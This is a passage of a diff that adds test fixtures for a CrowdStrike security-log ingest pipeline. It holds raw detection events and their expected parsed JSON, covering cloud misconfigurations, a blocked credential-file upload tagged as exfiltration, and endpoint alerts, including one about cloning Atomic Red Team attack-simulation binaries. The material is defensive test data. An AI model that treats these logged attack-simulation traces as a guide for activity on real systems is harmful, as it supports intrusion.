+                    "reference": [
+                        "https://attack.mitre.org/tactics/TA0009/"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1530"
+                    ],
+                    "name": [
+                        "Data from Cloud Storage"
+                    ],
+                    "reference": [
+                        "https://attack.mitre.org/techniques/T1530/"
+                    ]
+                }
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log
new file mode 100644
index 0000000000..febbfc9589
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log
@@ -0,0 +1,2 @@
+{"Tags":null,"service":1,"internal_only":false,"cloud_asset_type":86,"policy_statement":"VPC subnets should not allow automatic public IP assignment","PolicyStatement":"VPC subnets should not allow automatic public IP assignment","policy_severity":2,"mitre_attack_tactics_url":"https://attack.mitre.org/tactics/TA0001/","ResourceId":"subnet-48686135","resource_url":"https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135","Finding":"Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012","ResourceAttributes":{"Enable Resource Name A Record":false,"IPv6 Native":false},"cloudplatform":"aws","Severity":2,"Disposition":"Failed","Region":"eu-central-1","finding":"Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012","policy_id":547,"PolicyId":547,"CloudPlatform":"AWS","CloudService":"EC2","disposition":"Failed","mitre_attack_tactics_name":"Initial Access","AccountId":"123456789012","region":"eu-central-1","pci_benchmark_ids":"{263}","cisa_benchmark_ids":"{16}","nist_benchmark_ids":"{16,65,66,531}","ResourceIdType":"AWS Subnet Id","ResourceCreateTime":"0001-01-01T00:00:00Z","ResourceUrl":"https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135","event-type":"cspm_policy_547","iso_benchmark_ids":"{10,15,62,63}","soc2_benchmark_ids":"{15,17}","cis_benchmark_ids":"{714}"}
+{"event-type":"custom_detection_policy","AccountId":"111111111111","cid":"4c09185e44d1xxxxxxxxxf9d6ac1fd5425","CloudPlatform":"AWS","cloudplatform":1,"disposition":"Failed","Finding":"Auto Minor Version Upgrade:false","internal_only":false,"policy_id":1224,"policy_statement":"RDS minor version upgrade is disabled","region":"us-west-2","ResourceAttributes":"{\"Resource Creation Time\":\"1717613931\",\"Db Instance Status\":\"available\",\"Allocated Storage\":\"100\",\"Storage Encrypted\":true,\"Iam Database Authentication Enabled\":false,\"Availability Zone\":\"us-west-2b\",\"Master User Name\":\"postgres\",\"Db Instance Identifier\":\"frogs-sdet-session-rds\",\"Publicly Accessible\":false,\"Region\":\"us-west-2\",\"Db Subnet Group Name\":\"frogs-sdet-rds-subnet-group\",\"Account Id\":\"111111111111\",\"Http Endpoint Enabled\":false,\"Kms Key Id\":\"arn:aws:kms:us-west-2:111111111111:key/abcdefgh-0ae7-417b-a150-f37b1346cc39\",\"Db Instance Port\":\"0\",\"Db Endpoint Address\":\"frogs-sdet-session-rds.cbckjpktxduh.us-west-2.rds.amazonaws.com\",\"Ca Certificate Identifier\":\"rds-ca-rsa2048-g1\",\"Db Name\":null,\"Tags\":{},\"Vpc Id\":\"vpc-02580c66de16e60df\",\"Db Endpoint Port\":\"5432\",\"Storage Type\":\"gp2\",\"Db Instance Class\":\"db.t3.medium\",\"Creation Date\":\"2024-06-05 18:58:51.178+00\"}","ResourceId":"frogs-sdet-session-rds","ResourceIdType":"Database Instance","ResourceUrl":"","service":"RDS","policy_severity":3,"tags":{},"cis_benchmark_ids":null,"nist_benchmark_ids":null,"pci_benchmark_ids":null,"soc2_benchmark_ids":null,"mitre_attack_tactics_name":"","mitre_attack_techniques_name":"","mitre_attack_tactics_url":"","mitre_attack_techniques_url":"","aws_account_id":"111111111111"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json
new file mode 100644
index 0000000000..3425278611
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json
@@ -0,0 +1,154 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "cloud": {
+                "account": {
+                    "id": "123456789012"
+                },
+                "provider": "aws",
+                "region": "eu-central-1",
+                "service": {
+                    "name": "EC2"
+                }
+            },
+            "crowdstrike": {
+                "ResourceAttributes": {
+                    "Enable Resource Name A Record": false,
+                    "IPv6 Native": false
+                },
+                "ResourceCreateTime": "0001-01-01T00:00:00.000Z",
+                "ResourceId": "subnet-48686135",
+                "ResourceIdType": "AWS Subnet Id",
+                "Severity": 2,
+                "SeverityName": "medium",
+                "cis_benchmark_ids": [
+                    "714"
+                ],
+                "cisa_benchmark_ids": [
+                    "16"
+                ],
+                "cloud_asset_type": 86,
+                "disposition": "Failed",
+                "event-type": "cspm_policy_547",
+                "finding": "Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012",
+                "internal_only": false,
+                "iso_benchmark_ids": [
+                    "10",
+                    "15",
+                    "62",
+                    "63"
+                ],
+                "nist_benchmark_ids": [
+                    "16",
+                    "65",
+                    "66",
+                    "531"
+                ],
+                "pci_benchmark_ids": [
+                    "263"
+                ],
+                "policy_severity": 2,
+                "resource_url": "https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135",
+                "service": "1",
+                "soc2_benchmark_ids": [
+                    "15",
+                    "17"
+                ]
+            },
+            "event": {
+                "category": [
+                    "configuration"
+                ],
+                "kind": "alert",
+                "original": "{\"Tags\":null,\"service\":1,\"internal_only\":false,\"cloud_asset_type\":86,\"policy_statement\":\"VPC subnets should not allow automatic public IP assignment\",\"PolicyStatement\":\"VPC subnets should not allow automatic public IP assignment\",\"policy_severity\":2,\"mitre_attack_tactics_url\":\"https://attack.mitre.org/tactics/TA0001/\",\"ResourceId\":\"subnet-48686135\",\"resource_url\":\"https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135\",\"Finding\":\"Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012\",\"ResourceAttributes\":{\"Enable Resource Name A Record\":false,\"IPv6 Native\":false},\"cloudplatform\":\"aws\",\"Severity\":2,\"Disposition\":\"Failed\",\"Region\":\"eu-central-1\",\"finding\":\"Map Public IP On Launch:True|Subnet Id:subnet-48686135|Subnet Owner:123456789012\",\"policy_id\":547,\"PolicyId\":547,\"CloudPlatform\":\"AWS\",\"CloudService\":\"EC2\",\"disposition\":\"Failed\",\"mitre_attack_tactics_name\":\"Initial Access\",\"AccountId\":\"123456789012\",\"region\":\"eu-central-1\",\"pci_benchmark_ids\":\"{263}\",\"cisa_benchmark_ids\":\"{16}\",\"nist_benchmark_ids\":\"{16,65,66,531}\",\"ResourceIdType\":\"AWS Subnet Id\",\"ResourceCreateTime\":\"0001-01-01T00:00:00Z\",\"ResourceUrl\":\"https://eu-central-1.console.aws.amazon.com/vpc/home?region=eu-central-1#SubnetDetails:subnetId=subnet-48686135\",\"event-type\":\"cspm_policy_547\",\"iso_benchmark_ids\":\"{10,15,62,63}\",\"soc2_benchmark_ids\":\"{15,17}\",\"cis_benchmark_ids\":\"{714}\"}",
+                "severity": 47,
+                "type": [
+                    "info"
+                ]
+            },
+            "message": "VPC subnets should not allow automatic public IP assignment",
+            "rule": {
+                "id": "547",
+                "name": "VPC subnets should not allow automatic public IP assignment"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Initial Access"
+                    ],
+                    "reference": [
+                        "https://attack.mitre.org/tactics/TA0001/"
+                    ]
+                }
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "cloud": {
+                "account": {
+                    "id": "111111111111"
+                },
+                "provider": "1",
+                "region": "us-west-2"
+            },
+            "crowdstrike": {
+                "ResourceAttributes": {
+                    "Account Id": "111111111111",
+                    "Allocated Storage": "100",
+                    "Availability Zone": "us-west-2b",
+                    "Ca Certificate Identifier": "rds-ca-rsa2048-g1",
+                    "Creation Date": "2024-06-05 18:58:51.178+00",
+                    "Db Endpoint Address": "frogs-sdet-session-rds.cbckjpktxduh.us-west-2.rds.amazonaws.com",
+                    "Db Endpoint Port": "5432",
+                    "Db Instance Class": "db.t3.medium",
+                    "Db Instance Identifier": "frogs-sdet-session-rds",
+                    "Db Instance Port": "0",
+                    "Db Instance Status": "available",
+                    "Db Subnet Group Name": "frogs-sdet-rds-subnet-group",
+                    "Http Endpoint Enabled": false,
+                    "Iam Database Authentication Enabled": false,
+                    "Kms Key Id": "arn:aws:kms:us-west-2:111111111111:key/abcdefgh-0ae7-417b-a150-f37b1346cc39",
+                    "Master User Name": "postgres",
+                    "Publicly Accessible": false,
+                    "Region": "us-west-2",
+                    "Resource Creation Time": "1717613931",
+                    "Storage Encrypted": true,
+                    "Storage Type": "gp2",
+                    "Vpc Id": "vpc-02580c66de16e60df"
+                },
+                "ResourceId": "frogs-sdet-session-rds",
+                "ResourceIdType": "Database Instance",
+                "aws_account_id": "111111111111",
+                "cid": "4c09185e44d1xxxxxxxxxf9d6ac1fd5425",
+                "disposition": "Failed",
+                "event-type": "custom_detection_policy",
+                "internal_only": false,
+                "policy_severity": 3,
+                "service": "RDS"
+            },
+            "event": {
+                "category": [
+                    "configuration"
+                ],
+                "id": "||4c09185e44d1xxxxxxxxxf9d6ac1fd5425",
+                "kind": "alert",
+                "original": "{\"event-type\":\"custom_detection_policy\",\"AccountId\":\"111111111111\",\"cid\":\"4c09185e44d1xxxxxxxxxf9d6ac1fd5425\",\"CloudPlatform\":\"AWS\",\"cloudplatform\":1,\"disposition\":\"Failed\",\"Finding\":\"Auto Minor Version Upgrade:false\",\"internal_only\":false,\"policy_id\":1224,\"policy_statement\":\"RDS minor version upgrade is disabled\",\"region\":\"us-west-2\",\"ResourceAttributes\":\"{\\\"Resource Creation Time\\\":\\\"1717613931\\\",\\\"Db Instance Status\\\":\\\"available\\\",\\\"Allocated Storage\\\":\\\"100\\\",\\\"Storage Encrypted\\\":true,\\\"Iam Database Authentication Enabled\\\":false,\\\"Availability Zone\\\":\\\"us-west-2b\\\",\\\"Master User Name\\\":\\\"postgres\\\",\\\"Db Instance Identifier\\\":\\\"frogs-sdet-session-rds\\\",\\\"Publicly Accessible\\\":false,\\\"Region\\\":\\\"us-west-2\\\",\\\"Db Subnet Group Name\\\":\\\"frogs-sdet-rds-subnet-group\\\",\\\"Account Id\\\":\\\"111111111111\\\",\\\"Http Endpoint Enabled\\\":false,\\\"Kms Key Id\\\":\\\"arn:aws:kms:us-west-2:111111111111:key/abcdefgh-0ae7-417b-a150-f37b1346cc39\\\",\\\"Db Instance Port\\\":\\\"0\\\",\\\"Db Endpoint Address\\\":\\\"frogs-sdet-session-rds.cbckjpktxduh.us-west-2.rds.amazonaws.com\\\",\\\"Ca Certificate Identifier\\\":\\\"rds-ca-rsa2048-g1\\\",\\\"Db Name\\\":null,\\\"Tags\\\":{},\\\"Vpc Id\\\":\\\"vpc-02580c66de16e60df\\\",\\\"Db Endpoint Port\\\":\\\"5432\\\",\\\"Storage Type\\\":\\\"gp2\\\",\\\"Db Instance Class\\\":\\\"db.t3.medium\\\",\\\"Creation Date\\\":\\\"2024-06-05 18:58:51.178+00\\\"}\",\"ResourceId\":\"frogs-sdet-session-rds\",\"ResourceIdType\":\"Database Instance\",\"ResourceUrl\":\"\",\"service\":\"RDS\",\"policy_severity\":3,\"tags\":{},\"cis_benchmark_ids\":null,\"nist_benchmark_ids\":null,\"pci_benchmark_ids\":null,\"soc2_benchmark_ids\":null,\"mitre_attack_tactics_name\":\"\",\"mitre_attack_techniques_name\":\"\",\"mitre_attack_tactics_url\":\"\",\"mitre_attack_techniques_url\":\"\",\"aws_account_id\":\"111111111111\"}",
+                "type": [
+                    "info"
+                ]
+            },
+            "message": "RDS minor version upgrade is disabled",
+            "rule": {
+                "id": "1224",
+                "name": "RDS minor version upgrade is disabled"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log
new file mode 100644
index 0000000000..4441a6449e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log
@@ -0,0 +1 @@
+{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","AgentIdString":"5d77282ab4fxxxxxxxxxx65784cfa8f0","cid":"2cc98db1a4xxxxxxxxxxc94d43bfab70","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","ContentPatterns":[{"ConfidenceLevel":3,"ID":"4392b1416c974a488c31fbc4c97e89f6","MatchCount":1,"Name":"Credentials"}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","CustomerIdString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","DataVolume":39,"Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Destination":{"Channel":"web"},"DetectionType":"rule-based","EgressEventId":"89282731b67811f0a9f0c0892b3c995e","eid":118,"EventTimestamp":1761929044,"EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_DataProtectionDetectionSummaryEvent","FalconHostLink":"https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid\u003dg04000alcexxxxxxxxxxnfyokz7bajkq","Filename":"sensitive_123.txt","FileType":{"Type":{"CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document","Description":"Plain Text (txt) File","ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text"}},"Hostname":"DESKTOP-OM905R2","IsClipboard":false,"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"Name":"Test attempted to be uploaded to Google Drive","Nonce":3100301192206752520,"PatternId":80005,"Platform":"Windows","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","Severity":90,"SeverityName":"Critical","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","timestamp":"2025-10-31T11:16:38Z","UserName":"Bob","UserNotified":true,"UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","UTCTimestamp":1761909398}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json
new file mode 100644
index 0000000000..cdb340a5bd
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json
@@ -0,0 +1,133 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-10-31T11:16:38.000Z",
+            "crowdstrike": {
+                "AgentIdString": "5d77282ab4fxxxxxxxxxx65784cfa8f0",
+                "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e",
+                "ContentPatterns": [
+                    {
+                        "ConfidenceLevel": 3,
+                        "ID": "4392b1416c974a488c31fbc4c97e89f6",
+                        "MatchCount": 1,
+                        "Name": "Credentials"
+                    }
+                ],
+                "CustomerIdString": "2cc98db1a4xxxxxxxxxxc94d43bfab70",
+                "Destination": {
+                    "Channel": "web"
+                },
+                "DetectionType": "rule-based",
+                "EventTimestamp": "2025-10-31T16:44:04.000Z",
+                "EventType": "Event_ExternalApiEvent",
+                "ExternalApiType": "Event_DataProtectionDetectionSummaryEvent",
+                "FileType": {
+                    "Type": {
+                        "CategoryID": "4689d0386bdd4e2e9423a0fc19dcaccb",
+                        "CategoryName": "Document",
+                        "Description": "Plain Text (txt) File",
+                        "ID": "48a7eca83afa42a78cf12b8f2f877eec",
+                        "Name": "Plain Text"
+                    }
+                },
+                "IsClipboard": false,
+                "MatchedClassification": {
+                    "ID": "8318b19065af48fa839f9259022e5e0a",
+                    "Name": "Test"
+                },
+                "Nonce": 3100301192206752520,
+                "PatternId": 80005,
+                "RelatedClassifications": [
+                    {
+                        "ID": "8318b19065af48fa839f9259022e5e0a",
+                        "Name": "Test"
+                    }
+                ],
+                "ResponseAction": "blocked",
+                "RuleId": "7d81198e7da846b2a664afccc7f5d9e4",
+                "SensorId": "5d77282ab4fxxxxxxxxxx65784cfa8f0",
+                "Severity": 90,
+                "SeverityName": "Critical",
+                "UserNotified": true,
+                "cid": "2cc98db1a4xxxxxxxxxxc94d43bfab70",
+                "eid": 118
+            },
+            "device": {
+                "id": "5d77282ab4fxxxxxxxxxx65784cfa8f0"
+            },
+            "event": {
+                "action": "Test attempted to be uploaded to Google Drive",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-10-31T11:16:38.000Z",
+                "id": "||2cc98db1a4xxxxxxxxxxc94d43bfab70",
+                "kind": "alert",
+                "original": "{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"AgentIdString\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"cid\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"ContentPatterns\":[{\"ConfidenceLevel\":3,\"ID\":\"4392b1416c974a488c31fbc4c97e89f6\",\"MatchCount\":1,\"Name\":\"Credentials\"}],\"ContentSha\":\"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08\",\"CustomerIdString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"DataVolume\":39,\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Destination\":{\"Channel\":\"web\"},\"DetectionType\":\"rule-based\",\"EgressEventId\":\"89282731b67811f0a9f0c0892b3c995e\",\"eid\":118,\"EventTimestamp\":1761929044,\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_DataProtectionDetectionSummaryEvent\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid\\u003dg04000alcexxxxxxxxxxnfyokz7bajkq\",\"Filename\":\"sensitive_123.txt\",\"FileType\":{\"Type\":{\"CategoryID\":\"4689d0386bdd4e2e9423a0fc19dcaccb\",\"CategoryName\":\"Document\",\"Description\":\"Plain Text (txt) File\",\"ID\":\"48a7eca83afa42a78cf12b8f2f877eec\",\"Name\":\"Plain Text\"}},\"Hostname\":\"DESKTOP-OM905R2\",\"IsClipboard\":false,\"MatchedClassification\":{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"},\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"Name\":\"Test attempted to be uploaded to Google Drive\",\"Nonce\":3100301192206752520,\"PatternId\":80005,\"Platform\":\"Windows\",\"Policy\":{\"ID\":\"a6e6792845654b69a8a89e793421b77a\",\"Name\":\"Data Protection Policy\"},\"RelatedClassifications\":[{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"}],\"ResponseAction\":\"blocked\",\"RuleId\":\"7d81198e7da846b2a664afccc7f5d9e4\",\"Severity\":90,\"SeverityName\":\"Critical\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"timestamp\":\"2025-10-31T11:16:38Z\",\"UserName\":\"Bob\",\"UserNotified\":true,\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"UTCTimestamp\":1761909398}",
+                "outcome": "failure",
+                "reference": "https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq",
+                "severity": 99,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "extension": "txt",
+                "hash": {
+                    "sha256": "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08"
+                },
+                "name": "sensitive_123.txt",
+                "size": 39
+            },
+            "host": {
+                "name": "DESKTOP-OM905R2",
+                "os": {
+                    "platform": "windows"
+                }
+            },
+            "message": "Bob attempted to upload sensitive_123.txt to Google Gmail",
+            "related": {
+                "hash": [
+                    "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08"
+                ],
+                "hosts": [
+                    "DESKTOP-OM905R2"
+                ],
+                "user": [
+                    "Bob",
+                    "S-1-5-21-2123450692-2512345670-1234574870-1234"
+                ]
+            },
+            "rule": {
+                "id": "a6e6792845654b69a8a89e793421b77a",
+                "name": "Data Protection Policy"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0010"
+                    ],
+                    "name": [
+                        "Exfiltration"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1567"
+                    ],
+                    "name": [
+                        "Exfiltration Over Web Service"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-2123450692-2512345670-1234574870-1234",
+                "name": "Bob"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log
new file mode 100644
index 0000000000..89462c5441
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log
@@ -0,0 +1,14 @@
+{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":"","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was 